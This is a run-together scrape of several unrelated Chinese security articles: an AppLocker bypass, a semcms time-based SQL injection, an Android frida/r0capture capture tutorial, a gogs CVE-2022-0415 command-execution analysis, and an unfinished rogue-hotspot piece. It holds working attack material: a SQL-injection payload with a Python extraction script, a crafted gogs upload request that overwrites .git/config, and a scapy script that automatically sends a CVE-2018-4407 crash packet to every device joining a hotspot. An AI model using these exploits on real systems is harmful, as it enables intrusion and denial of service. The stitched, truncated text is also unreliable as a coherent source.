输出 | 社区文章 |
# 如何绕过AppLocker自定义规则
|
##### 译文声明
本文是翻译文章，文章原作者 0x09AL，文章来源：0x09al.github.io
原文地址：<https://0x09al.github.io/security/applocker/bypass/custom/rules/windows/2018/09/13/applocker-custom-rules-bypass.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在大型组织的安全领域中，AppLocker正在扮演越来越重要的角色。应用AppLocker规则可以显著降低企业的安全风险。不幸的是，对于蓝队来说除了默认规则以外，AppLocker还涉及到许多自定义配置，而这些配置很有可能成为目标安全的突破口。现在已经有许多文章介绍了如何绕过AppLocker的默认规则，而本文将介绍绕过自定义规则的具体步骤，包括如何定位、解析自定义规则，以及如何利用这些信息绕过自定义规则。
## 二、AppLocker自定义规则
AppLocker规则可以应用于目标应用，这些规则也是构成AppLocker策略的基本组件。接下来我们需要了解一下规则集合（Rule
Collection）。
**规则集合**
AppLocker控制台以规则集合作为组织单元，这些集合包括可执行文件、脚本、Windows安装文件、封装的应用和应用安装包以及DLL文件。这些规则可以让我们轻松区分开不同类型的应用。
**规则条件**
规则条件（Rule
Condition）可以帮助AppLocker识别哪些应用对应哪些规则。三个主要的规则条件分别为应用发布者（Publisher）、路径（Path）以及文件哈希（File
hash）。
**类型**
文件路径条件：以应用在系统中的路径作为识别依据；文件发布者条件：以应用的属性或者数字签名作为识别依据；文件哈希条件：以应用的哈希值作为识别依据。
AppLocker支持创建的不同条件如下图所示：
## 三、具体操作
首先也是最关键的一个步骤就是知道当前系统部署了哪些AppLocker规则。大多数情况下，系统会强制部署默认规则，但这里也可能存在一些自定义规则。AppLocker规则通常由GPO强制执行，我们可以查询活动目录（Active
Directory）来获取这些信息。
幸运的是，PowerShell中有个AppLocker模块，可以查询当前系统已部署的AppLocker规则。如下一个PowerShell脚本可以按照较清晰的格式输出具体规则，我们可以根据这些信息制定绕过策略。
Import-Module AppLocker
[xml]$data = Get-AppLockerPolicy -effective -xml
# Extracts All Rules and print them.
Write-Output "[+] Printing Applocker Rules [+]`n"
($data.AppLockerPolicy.RuleCollection | ? { $_.EnforcementMode -match "Enabled" }) | ForEach-Object -Process {
Write-Output ($_.FilePathRule | Where-Object {$_.Name -NotLike "(Default Rule)*"}) | ForEach-Object -Process {Write-Output "=== File Path Rule ===`n`n Rule Name : $($_.Name) `n Condition : $($_.Conditions.FilePathCondition.Path)`n Description: $($_.Description) `n Group/SID : $($_.UserOrGroupSid)`n`n"}
Write-Output ($_.FileHashRule) | ForEach-Object -Process { Write-Output "=== File Hash Rule ===`n`n Rule Name : $($_.Name) `n File Name : $($_.Conditions.FileHashCondition.FileHash.SourceFileName) `n Hash type : $($_.Conditions.FileHashCondition.FileHash.Type) `n Hash : $($_.Conditions.FileHashCondition.FileHash.Data) `n Description: $($_.Description) `n Group/SID : $($_.UserOrGroupSid)`n`n"}
Write-Output ($_.FilePublisherRule | Where-Object {$_.Name -NotLike "(Default Rule)*"}) | ForEach-Object -Process {Write-Output "=== File Publisher Rule ===`n`n Rule Name : $($_.Name) `n PublisherName : $($_.Conditions.FilePublisherCondition.PublisherName) `n ProductName : $($_.Conditions.FilePublisherCondition.ProductName) `n BinaryName : $($_.Conditions.FilePublisherCondition.BinaryName) `n BinaryVersion Min. : $($_.Conditions.FilePublisherCondition.BinaryVersionRange.LowSection) `n BinaryVersion Max. : $($_.Conditions.FilePublisherCondition.BinaryVersionRange.HighSection) `n Description: $($_.Description) `n Group/SID : $($_.UserOrGroupSid)`n`n"}
}
该脚本会尝试查找规则名称不是`Default
Rule`的所有AppLocker规则，然后输出`FilePath`、`FilePublisher`以及`FileHash`规则。
比如，一个典型的输出如下图所示：
现在我们已经知道哪些是自定义规则，接下来可以尝试如何绕过这些规则。
### 绕过文件哈希规则
这是一种我们可以轻松绕过并广泛使用的规则。为了绕过文件哈希规则，我们需要能够攻击SHA256算法的一种攻击方式，因为这是AppLocker默认使用的哈希算法。滥用这种规则的唯一条件是找到已被允许的特定可执行文件，这些可执行文件可以用来加载任意代码（这种情况不是很常见）或者存在DLL劫持漏洞（这种情况比较常见）。
比如，Process Explorer中存在一个DLL劫持漏洞，我们可以滥用该漏洞来加载我们的恶意代码。
观察`ProcExp.exe`的运行过程，我们可以看到程序尝试加载名为`MPR.dll`的一个DLL文件，如下图所示：
系统中已有一个规则，允许Process Explorer运行，如下图所示：
我自己构建了一个DLL文件，其中导出了Process Explorer所需的函数，程序中还包含一个函数可以执行`calc.exe`。
在实际攻击场景中，作为攻击载荷，这个DLL需要将自身注入到内存中，避免攻击过程中有任何程序落盘。
只有DLL规则没有部署时这种方法才能奏效，大多数情况下这个条件都可以满足，因为启用这些规则会降低系统的性能。
### 绕过文件路径规则
文件路径规则是我们最常见到的规则之一，也是绕过AppLocker的绝佳突破口。这种条件规则会根据应用在文件系统或者网络中的路径来识别应用，通常情况下，规则中会指定一个路径或者文件位置。比如，在测试环境中我创建了一个示例规则，允许执行`C:\Python27\`目录中的所有可执行文件，如下图所示：
如果该规则指定的目录可写，我们就可以将自己的程序放在该目录中，这样就能绕过AppLocker。
### 绕过文件发布者规则
这个条件会根据应用的数字签名以及扩展属性（如果存在扩展属性的话）来识别应用。数字签名中包含创造该应用的公司（发布者）信息。可执行文件、DLL、Windows安装程序、封装的应用以及应用安装包同样包含扩展属性，可以从二进制资源区中获取这些属性。对于可执行文件、DLL以及Windows安装包而言，这些属性中包含文件所对应的产品名称、发布者提供的原始文件名以及文件版本号；对于封装的应用及应用安装包而言，这些扩展属性包含应用包的名称及版本。
这种规则条件是最为安全的条件，绕过手段非常有限。AppLocker会检查签名是否有效，因此我们无法使用不可信的证书来签名攻击程序。SpecterOps的Matt曾研究过如何在Windows系统上生成有效的签名，不过这种方法需要管理员权限，并且要求AppLocker在默认情况下允许管理员执行任何应用。
绕过这种规则的一种方法与前面介绍的哈希规则绕过方法相同，那就是利用DLL劫持漏洞或者可以加载任意代码到内存中的已签名的某个应用。比如，如果规则允许执行经过微软签名的所有程序，那么我们就可以使用Process
Explorer实施攻击。Process
Explorer是一个经过签名的应用，并且存在DLL劫持漏洞，我们可以利用这一点来绕过AppLocker，具体方法请参考前文介绍的绕过文件哈希规则的过程。
## 四、总结
这是我在实际环境中使用过的一些实用技术，在这里与整个社区一起分享。可能还有其他方法能够绕过自定义规则，我希望本文能抛砖引玉，让更多人能够研究这方面技术。
## 五、参考资料
<https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/working-with-applocker-rules>
<https://msitpros.com/?p=2012> | 社区文章 |
#### 介绍
semcms是一个建设体积小，加载速度快,数据移动方便的外贸网站，采用php+mysql+apache搭建
#### 网站搭建
从[官网](http://www.sem-cms.com/xiazai.html)下载源码，之后填入数据，安装即可
#### 漏洞详情
漏洞文件为Include下的web_inc.php文件
包
POST /Include/web_inc.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: scusername=%E6%80%BB%E8%B4%A6%E5%8F%B7; scuseradmin=Admin; scuserpass=c4ca4238a0b923820dcc509a6f75849b
Upgrade-Insecure-Requests: 1
Content-Length: 64
Content-Type: application/x-www-form-urlencoded
languageID=0 or if(substr(database(),1,1) like 0x6D,sleep(5),1);
基于时间的注入
#### 代码审计
查看web_inc.php的关键代码
if (isset($_POST["languageID"])){$Language=test_input(verify_str($_POST["languageID"]));}else{$Language=verify_str($Language);}
if(!empty($Language)){
//网站SEO设定
$query=$db_conn->query("select * from sc_tagandseo where languageID=$Language");
$row=mysqli_fetch_array($query);
$tag_indexmetatit=datato($row['tag_indexmetatit']);// 首页标题
$tag_indexkey=datato($row['tag_indexkey']);// 首页关键词
$tag_indexdes=datato($row['tag_indexdes']);// 首页描述
......
可以看到查询语句没有利用单引号闭合
跟入过滤函数查看
function test_input($data) {
$data = str_replace("%", "percent", $data);
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data,ENT_QUOTES);
return $data;
}
function inject_check_sql($sql_str) {
return preg_match('/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
}
function verify_str($str) {
if(inject_check_sql($str)) {
exit('Sorry,You do this is wrong! (.-.)');
}
return $str;
}
过滤了一些关键字，正常的联合注入是没有办法了，可以时间盲注
利用`if`和`sleep`构造payload，因为`<`,`=`被过滤且存在`htmlspecialchars`函数，利用like代替（经过评论区师傅指点，利用下面的payload会更好点，因为like大小写都可以匹配）
languageID=0 or if(substr(database(),1,1) like 0x6e,sleep(5),1);
languageID=0 or if(ascii(substr(database(),%s,1))-%s,1,sleep(5));
附上脚本
# !/usr/bin/python3
# -*- coding:utf-8 -*- # author: Forthrglory
import requests
def getDatabase(url):
s = ''
r = requests.session()
head = {'Content-Type':'application/x-www-form-urlencoded'}
for i in range(1,9):
for j in range(32,122):
data = 'languageID=0 or if(ascii(substr(database(),%s,1))-%s,1,sleep(5));' % (i,j)
result = r.post(url, data, headers=head)
if(result.elapsed.total_seconds() > 5):
s = s + chr(j)
print(s)
break
print('database=' + s)
def getUser(url):
s = ''
r = requests.session()
head = {'Content-Type':'application/x-www-form-urlencoded'}
for i in range(1,21):
for j in range(32,122):
data = 'languageID=0 or if(ascii(substr(user(),%s,1))-%s,1,sleep(5));' % (i,j)
result = r.post(url, data, headers=head)
if(result.elapsed.total_seconds() > 5):
s = s + chr(j)
print(s)
break
print('user=' + s)
if __name__ == '__main__':
url = 'http://127.0.0.1/Include/web_inc.php'
s = getDatabase(url)
u = getUser(url)
运行截图
不过因为过滤了select，暂时不知道怎么注出数据ORZ，比如说注出user表中的密码之类的，如果有师傅愿意不吝赐教，这里万分感谢 | 社区文章 |
# 安卓应用层协议/框架通杀抓包：实战篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
（文章分为实战和源码分析，本文为实战篇）
* * *
环境和工具准备：
* kali-linux
* python 3.x
* r0capture
* frida / frida-tools
* apkshell
## 0x01.什么是 Frida
英文原文介绍：
> Frida is Greasemonkey for native apps, or, put in more technical terms, it’s
> a dynamic code instrumentation toolkit. It lets you inject snippets of
> JavaScript into native apps that run on Windows, Mac, Linux, iOS and
> Android. Frida is an open source software.
frida是一款轻量级的 Hook 框架，也可以说是一种动态插桩工具，可以插入一些代码到原生 app
的内存空间去，（动态地监视和修改其行为），这些原生平台可以是Win、Mac、Linux、Android或者iOS。
frida分为两个部分，服务端和控制端，其中服务端运行在目标机器上，通过进程注入来劫持应用的类和函数，控制端运行在自己系统机器上，可以注入自定义的
js、python、c 等脚本来实现自动化注入。
无论是针对 Java 层还是 Native 层，frida 均能 Hook，虽然持久化上没有 Xposed 等开发框架强，但是 frida
主要优势就是它的动态性和灵活性。
## 0x02.安装 Frida
frida 安装特别简单，直接 pip 安装即可
$ pip install frida
如果要指定版本安装，可以这样：
$ pip install frida==12.8.0
下载慢的话是源的问题，可以指定清华源：
-i https://pypi.tuna.tsinghua.edu.cn/simple
另外pip只是下载了一个安装脚本，实际上最后请求去下载的还是默认官方的 pypi 源，这里写死了，所以很多人会卡在这很久.
而有趣的是我看了一下网上很多提问的童鞋，回复中目前还没有人指出关键问题所在，回答的基本都是最开始的指定源之类的，而其实并不是那样：
解决方案也很简单，将 pypi 官网源编辑替换成清华源，再手动构建即可
另外还需要安装一下配套工具，frida-tools
$ pip install frida-tools
最后执行没有问题，环境就安装配置好了
这里安装后的 frida 版本是 14.2.3，然后还要下载服务端，根据安装的 frida 版本和执行服务端的机器的系统架构，去下载对应的 frida-server（ <https://github.com/frida/frida/releases> ）
下载后先放着，后面要用
## 0x03.什么是r0capture
r0capture 是一个 python 脚本，基于 frida_ssl_logger 开发，侧重点不同在于 frida_ssl_logger 是抓 ssl
和跨平台，而 r0capture 旨在抓到所有的包，其中安卓7、8、9、10 测试可用。
优势：
* 无视所有证书校验或绑定，不用考虑任何证书的事情；
* 通杀TCP/IP四层模型中的应用层中的全部协议；
* 通杀协议包括：Http,WebSocket,Ftp,Xmpp,Imap,Smtp,Protobuf 等等、以及它们的SSL版本；
* 通杀所有应用层框架，包括 HttpUrlConnection、Okhttp1/3/4、Retrofit/Volley等等；
## 0x04.安装 r0capture
$ git clone https://github.com/r0ysue/r0capture
## 0x05.实战演示
首先将之前下载的对应版本和系统的 frida-server 拷贝到手机上
$ adb push frida-server /data/local/tmp/
手机上运行 frida-server 监听
$ cd /data/local/tmp/
$ chmod +x frida-server
$ ./frida-server
kali 上用 frida-ps 看一下包进程
$ frida-ps -U | grep "com"
手机上运行我们的目标 app，再列一下当前包进程，把目标app的包名复制记录下来，后面要用
r0capture 支持 spawn 模式和 attach 模式，首先用最新的 apkshell
查一下壳（工具地址：[https://github.com/bin-maker/apkshell）](https://github.com/bin-maker/apkshell%EF%BC%89)
发现应用加壳了
所以我们这里使用 attach 模式来抓包，也叫实时 hook，主要用来针对有壳的应用
运行 r0capture.py
python r0capture.py -U 前面记录的目标应用包名 -p xxx.pcap
其中 -p 参数用来保存抓包结果，.pcap 是数据报存储格式，包括 Wireshark 在内的很多主流抓包软件都可以生成或者导入 pcap 数据包并分析
attach 后，我们手机上操作app，终端界面就会实时输出抓到的数据包
如果中途提示 hexdump 名称错误，pip 安装一下即可
pip install hexdump
要想终止抓包，随时按 ctrl + c 终止 r0capture 脚本即可停止抓包
接下来打开 wireshark 等网络数据包分析工具，导入我们通过 r0capture 导出的 pcap 包文件
跟踪一下 http 流，数据非常直观了：
后面该怎么操作想必大家都清楚了，不需要多说了，其实源码层非常有意思，下次有时间来通过源码层讲讲实现。 | 社区文章 |
#### 漏洞信息
gogs是一个golang开发的git web server项目。
CVE-2022-0415：在gogs/gogs 中上传仓库文件时的远程命令执行。
Remote Command Execution in uploading repository file in gogs/gogs
漏洞简介：
CVE-2022-0415，利用了gogs上传时缺乏对参数值的判断，实现了命令的注入；再根据git特性，命令可在gogs中被执行。
受影响版本：
0.12.6以下的都受影响。（不含0.12.6）
修复详情：
diff
<https://github.com/gogs/gogs/commit/0fef3c9082269e9a4e817274942a5d7c50617284>
pull <https://github.com/gogs/gogs/pull/6838>
##### git的知识
根据git官方文档
<https://git-scm.com/docs/git-config>
core.sshCommand
If this variable is set, git fetch and git push will use the specified command
instead of ssh when they need to connect to a remote system. The command is in
the same form as the GIT_SSH_COMMAND environment variable and is overridden
when the environment variable is set.
解释：
如果设置了sshCommand变量，当需要连接到远程系统时，git fetch 和 git push 将使用指定的命令,而不是 ssh。
该命令与 GIT_SSH_COMMAND 环境变量的格式相同，并在设置环境变量时被覆盖。
本机测试一下：
#### 基本环境搭建
环境准备，我直接在macOS搭建环境了。
# 代码
git clone https://github.com/gogs/gogs/
# 切换到 v0.12.5版本。打了几个断点，后续可见。
# 配置数据库
mysqld
create database gogs;
启动gogs
进行初次配置
创建了1个账户admin1并登录，创建了1个仓库repo1。
#### 本地复现
访问<http://localhost:3002/admin1/repo1> 点击“上传文件”，上传文件。
上传一个名为config的文件。内容为：常规config文件，再根据官方文档，自行加上`sshCommand`即可。（就不写这一行了。）
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
[remote "origin"]
url = [email protected]:torvalds/linux.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
抓包-上传文件功能：
request1
POST /admin1/repo1/upload-file HTTP/1.1
Host: localhost:3002
Content-Length: 572
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="100"
X-CSRF-Token: YdUSVCYfWjcmMJa-_L8-zwaB7zQ6MTY0OTIzNzA0NTcxMzI2ODAwMA
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryofjLZyKNqVjTSLhL
Accept: application/json
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "macOS"
Origin: http://localhost:3002
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN; i_like_gogs=ea69248b2edcefa9; _csrf=YdUSVCYfWjcmMJa-_L8-zwaB7zQ6MTY0OTIzNzA0NTcxMzI2ODAwMA
Connection: close
------WebKitFormBoundaryofjLZyKNqVjTSLhL
Content-Disposition: form-data; name="file"; filename="config"
Content-Type: application/octet-stream
[core]
(上述配置文件的内容)
------WebKitFormBoundaryofjLZyKNqVjTSLhL--
response1
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Date: Thu, 07 Apr 2022 06:43:54 GMT
Content-Length: 52
Connection: close
{
"uuid": "85cdd4d7-41b4-45cc-9149-0c7364471286"
}
此时文件内容被保存至临时文件夹下的这个文件中.
`/private/var/folders/r4/x0h2gfcj6rg3z4cv7r2rlgb00000gn/T/GoLand/data/tmp/uploads/8/5/85cdd4d7-41b4-45cc-9149-0c7364471286`
第1个断点：repo_editor.go的316行
func UploadLocalPath(uuid string) string {
执行到此：看下变量与值
变量name 的值 为字符串 `config`
目标路径 localPath 的值
为字符串`/private/var/folders/r4/x0h2gfcj6rg3z4cv7r2rlgb00000gn/T/GoLand/data/tmp/uploads/8/5/85cdd4d7-41b4-45cc-9149-0c7364471286`
结合http请求可知，变量name为上传的文件名，是用户可控的。（一般要在这里做点操作）
文件内容 实际被保存到了 目标路径 localPath ，其中最后的字符串是自动生成的uuid，不可控。
此时的调用stack:
db.NewUpload (repo_editor.go:341) gogs.io/gogs/internal/db
repo.UploadFileToServer (editor.go:545) gogs.io/gogs/internal/route/repo
runtime.call16 (asm_arm64.s:507) runtime
<autogenerated>:2
reflect.Value.call (value.go:556) reflect
reflect.Value.Call (value.go:339) reflect
inject.(*injector).callInvoke (inject.go:177) github.com/go-macaron/inject
inject.(*injector).Invoke (inject.go:137) github.com/go-macaron/inject
macaron.(*Context).run (context.go:121) gopkg.in/macaron.v1
macaron.(*Context).Next (context.go:112) gopkg.in/macaron.v1
session.Sessioner.func1 (session.go:192) github.com/go-macaron/session
macaron.ContextInvoker.Invoke (context.go:79) gopkg.in/macaron.v1
inject.(*injector).fastInvoke (inject.go:157) github.com/go-macaron/inject
inject.(*injector).Invoke (inject.go:135) github.com/go-macaron/inject
macaron.(*Context).run (context.go:121) gopkg.in/macaron.v1
macaron.(*Context).Next (context.go:112) gopkg.in/macaron.v1
macaron.Recovery.func1 (recovery.go:161) gopkg.in/macaron.v1
macaron.LoggerInvoker.Invoke (logger.go:40) gopkg.in/macaron.v1
inject.(*injector).fastInvoke (inject.go:157) github.com/go-macaron/inject
inject.(*injector).Invoke (inject.go:135) github.com/go-macaron/inject
macaron.(*Context).run (context.go:121) gopkg.in/macaron.v1
macaron.(*Router).Handle.func1 (router.go:187) gopkg.in/macaron.v1
macaron.(*Router).ServeHTTP (router.go:303) gopkg.in/macaron.v1
macaron.(*Macaron).ServeHTTP (macaron.go:220) gopkg.in/macaron.v1
http.serverHandler.ServeHTTP (server.go:2916) net/http
http.(*conn).serve (server.go:1966) net/http
http.(*Server).Serve.func3 (server.go:3071) net/http
runtime.goexit (asm_arm64.s:1259) runtime
- Async Stack Trace
http.(*Server).Serve (server.go:3071) net/http
* * *
（此时server文件系统中已经有文件了 只不过路径不可控，是uuid结尾的）
继续，点击“提交变更”
抓到请求
request2
POST /admin1/repo1/_upload/master/ HTTP/1.1
Host: localhost:3002
Content-Length: 195
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="100"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN; i_like_gogs=1e6fcd3311b0b672; _csrf=E_P0IOSWdRSGfzood1cFb1pxwJI6MTY0OTMxNTI2MjU3NjQ2NzAwMA
Connection: close
_csrf=E_P0IOSWdRSGfzood1cFb1pxwJI6MTY0OTMxNTI2MjU3NjQ2NzAwMA&tree_path=.git&files=0e25760b-f51a-46bb-9511-32b5047aab43&commit_summary=sum&commit_message=desc&commit_choice=direct&new_branch_name=
将tree_path的值修改为`.git`
发出http请求。
第2个断点：repo_editor.go的452行
func (repo *Repository) UploadRepoFiles(doer *User, opts UploadRepoFileOptions) (err error) {
执行到此，然后一行一行往下跟进。
第484-499行是个for循环，作用是复制：变量uploads中的每个文件。
把每个路径 tmpPath（整个不可控：路径不可控，最后的文件名是uuid也不可控），复制到targetPath。targetPath是否是可控的呢？
看下变量与值，我在自己mac系统下调试时，targetPath的值为
/private/var/folders/r4/x0h2gfcj6rg3z4cv7r2rlgb00000gn/T/GoLand/data/tmp/local-repo/7/.git/config
根据下面这一行代码：可知targetPath的值由dirPath和upload.Name 拼接而成。
targetPath := path.Join(dirPath, upload.Name)
仔细看targetPath的值：
request1中的filename 即变量upload.Name 值为 字符串config 【用户可控】 会检查 该变量是否包含字符串.git
所以不在这儿考虑了
request2中的tree_path 即变量TreePath 值为 字符串.git 【用户可控】 不会检查该变量是否包含字符串.git 就是利用这里。
附：做检查的函数 isRepositoryGitPath的函数体。
// isRepositoryGitPath returns true if given path is or resides inside ".git" path of the repository.
func isRepositoryGitPath(path string) bool {
return strings.HasSuffix(path, ".git") || strings.Contains(path, ".git"+string(os.PathSeparator))
}
* * *
（for循环 复制完成之后）
此时，目标路径targetPath被写入了内容，即local-repo某个子文件夹下的.git/config文件被覆盖。（也就为后面命令执行打了基础，只需要想办法执行git pull/push 就行了）
* * *
执行到501行，执行 git add操作：
执行到515行，在localPath下执行git push
就在此时，会执行命令 .git/config文件中的core.sshCommand的值！
跟进git-module
此时，命令执行完成。
gogs server端会打印出报错信息，但并不影响web应用的运行，和当前的命令执行。
此时的stack:
db.(*Repository).UploadRepoFiles (repo_editor.go:515) gogs.io/gogs/internal/db
repo.UploadFilePost (editor.go:493) gogs.io/gogs/internal/route/repo
runtime.call128 (asm_arm64.s:510) runtime
<autogenerated>:2
reflect.Value.call (value.go:556) reflect
reflect.Value.Call (value.go:339) reflect
inject.(*injector).callInvoke (inject.go:177) github.com/go-macaron/inject
inject.(*injector).Invoke (inject.go:137) github.com/go-macaron/inject
macaron.(*Context).run (context.go:121) gopkg.in/macaron.v1
macaron.(*Context).Next (context.go:112) gopkg.in/macaron.v1
session.Sessioner.func1 (session.go:192) github.com/go-macaron/session
macaron.ContextInvoker.Invoke (context.go:79) gopkg.in/macaron.v1
inject.(*injector).fastInvoke (inject.go:157) github.com/go-macaron/inject
inject.(*injector).Invoke (inject.go:135) github.com/go-macaron/inject
macaron.(*Context).run (context.go:121) gopkg.in/macaron.v1
macaron.(*Context).Next (context.go:112) gopkg.in/macaron.v1
macaron.Recovery.func1 (recovery.go:161) gopkg.in/macaron.v1
macaron.LoggerInvoker.Invoke (logger.go:40) gopkg.in/macaron.v1
inject.(*injector).fastInvoke (inject.go:157) github.com/go-macaron/inject
inject.(*injector).Invoke (inject.go:135) github.com/go-macaron/inject
macaron.(*Context).run (context.go:121) gopkg.in/macaron.v1
macaron.(*Router).Handle.func1 (router.go:187) gopkg.in/macaron.v1
macaron.(*Router).ServeHTTP (router.go:303) gopkg.in/macaron.v1
macaron.(*Macaron).ServeHTTP (macaron.go:220) gopkg.in/macaron.v1
http.serverHandler.ServeHTTP (server.go:2916) net/http
http.(*conn).serve (server.go:1966) net/http
http.(*Server).Serve.func3 (server.go:3071) net/http
runtime.goexit (asm_arm64.s:1259) runtime
- Async Stack Trace
http.(*Server).Serve (server.go:3071) net/http
到这里就跟完了。知道了如何实现命令执行。
官方修复
根据diff可知
<https://github.com/gogs/gogs/commit/0fef3c9082269e9a4e817274942a5d7c50617284>
internal/db/repo_editor.go
增加了对TreePath的检测(还是使用isRepositoryGitPath函数)，所以TreePath也不能包含字符串.git了。
// Prevent uploading files into the ".git" directory
if isRepositoryGitPath(opts.TreePath) {
return errors.Errorf("bad tree path %q", opts.TreePath)
}
附：做检查的函数 isRepositoryGitPath的函数体。
// isRepositoryGitPath returns true if given path is or resides inside ".git" path of the repository.
func isRepositoryGitPath(path string) bool {
return strings.HasSuffix(path, ".git") || strings.Contains(path, ".git"+string(os.PathSeparator))
}
#### 总结
CVE-2022-0415，利用了gogs上传时缺乏对参数值的判断，实现了命令的注入；再根据git特性，命令可在gogs中被执行。 | 社区文章 |
# 有VPN保护就可以随意连接公共热点？大错特错
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
#
## 背景
提到公共热点、钓鱼热点或恶意热点，我们通常会提到可能存在攻击者在嗅探网络流量中的敏感信息，或者结合DNS劫持打造一个高仿真的钓鱼环境，给用户造成安全威胁。
许多安全从业者在接受采访或咨询时，会推荐在不安全的无线环境中开启VPN。目前国内许多手机应用还提供了免费的VPN功能，作为抵御恶意热点的安全解决方案来吸引用户下载安装。
然而许多产品在对外宣传描述时，存在描述过度或断章取义的情况，不自觉的去掉了限制条件，于是许多用户现在产生了这样的错觉：“只要使用VPN，就能抵御恶意热点中的一切攻击，随意连接WiFi热点也没关系了。”
随意搜了一下，在许多媒体文章中都是这个论调：
* “专家认为，通过VPN来连接WiFi是非常安全的。”
* “用户只需在移动端开启VPN，填入用户名和密码，就可以安心的在公共WiFi网络中上网了。”
这些描述都是不准确的，使用VPN的确能保护好设备的网络流量，但在恶意热点环境中的攻击威胁远不止如此。
通常，一个用户在连接公共热点时，往往通过如下步骤：
1. 打开无线功能，选择并连接到目标热点。
2. 通常需要通过Captive Portal强制门户页面进行认证获取网络权限。
3. 获取到网络权限后，有安全意识的用户会开启VPN保护流量。
后文我将以实例说明，假设我是一名恶意热点搭建者，面对这些打算使用VPN进行保护的用户，我可以从哪些方面对他们造成威胁。
## 攻击威胁
### 系统层面的漏洞
最具影响力的便是操作系统本身的漏洞，对没有及时更新修复漏洞的设备来说是通杀的效果。
**1）缓冲区溢出漏洞 CVE-2018-4407**
CVE-2018-4407是安全研究员Kevin Backhouse
发现的XNU系统内核中的堆缓冲区溢出漏洞，攻击者可能利用缓冲区溢出进行远程代码执行。由于iOS和macOS都使用XNU，因此iPhone、iPad和MacBook均受到影响。
影响范围：
* Apple iOS 11及更早版本：所有设备（升级到iOS 12的部分设备）
* Apple macOS High Sierra（受影响的最高版本为10.13.6）：所有设备
* Apple macOS Sierra（受影响的最高版本为10.12.6）：所有设备
* Apple OS X El Capitan及更早版本：所有设备
Kevin在推特中给出了PoC和演示视频，利用该漏洞可以使得同一局域网下的Macbook和iPhone设备崩溃。
可以通过scapy工具来发送数据触发该漏洞:
from scapy.all import *
send(IP(dst="1.2.3.4",options=[IPOption("A"*18)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))
如果我们是一个钓鱼热点攻击者，想达到“自动”的效果很简单，定时监听当前网络活跃主机向其发送攻击代码即可。
假设使用了dnsmasq程序提供DHCP和DNS服务，dhcp池文件保存在‘/var/lib/misc/dnsmasq.leases’文件中。
import os, time
from scapy.all import *
lines_old = 0
lines_new = 0
while 1:
lines_old = lines_new
if os.path.exists('/var/lib/misc/dnsmasq.leases'):
f = open('/var/lib/misc/dnsmasq.leases', 'r').readlines()
lines_new = len(f)
if lines_new > lines_old:
for i in range(lines_old, lines_new):
value = f[i].split()
if len(value) == 5:
print value[2] + ' ' + value[1] + ' ' + value[3] + ' Connect!'
for i in range(3):
#For Apple devices(CVE-2018-4407)
send(IP(dst=value[2],options=[IPOption("A"*18)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))
time.sleep(1)
time.sleep(3)
该段代码的作用是：每3秒读取一次dhcp文件，如果发现新的主机，生成exploit发向该设备。
如果这些苹果设备没有及时更新到漏洞修复的版本，就会出现如下图所示的崩溃效果：
**2）永恒之蓝**
永恒之蓝（EternalBlue）是美国国家安全局开发的漏洞利用程序，于2017年4月14日被黑客组织Shadow
Brokers泄漏。该工具利用TCP445 port上的文件共享协议漏洞进行散播。
尽管微软于2017年3月14日发布操作系统补丁修补了这个漏洞，5月12日WannaCry勒索软件利用这个漏洞传播时，很多Windows用户仍然没有安装补丁，英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招，被勒索支付高额赎金才能解密恢复文件。
永恒之蓝大家都很熟悉，就不继续详细说明了。对于热点网络中没有修复漏洞的Windows设备，我们已经可以获取到系统最高权限。
### 软件应用上的漏洞
除了操作系统本身外，我们安装的各类软件应用会开放一些服务，如果它们存在安全缺陷也会成为一个攻击点，比如前两天爆出的ES文件管理器的安全问题。
研究人员发现ES文件管理器启动后会创建本地HTTP服务器，在其所有后台服务被结束前该服务器始终开启，处于相同网络的任意用户可直接向安装 ES
管理器的设备发起攻击。
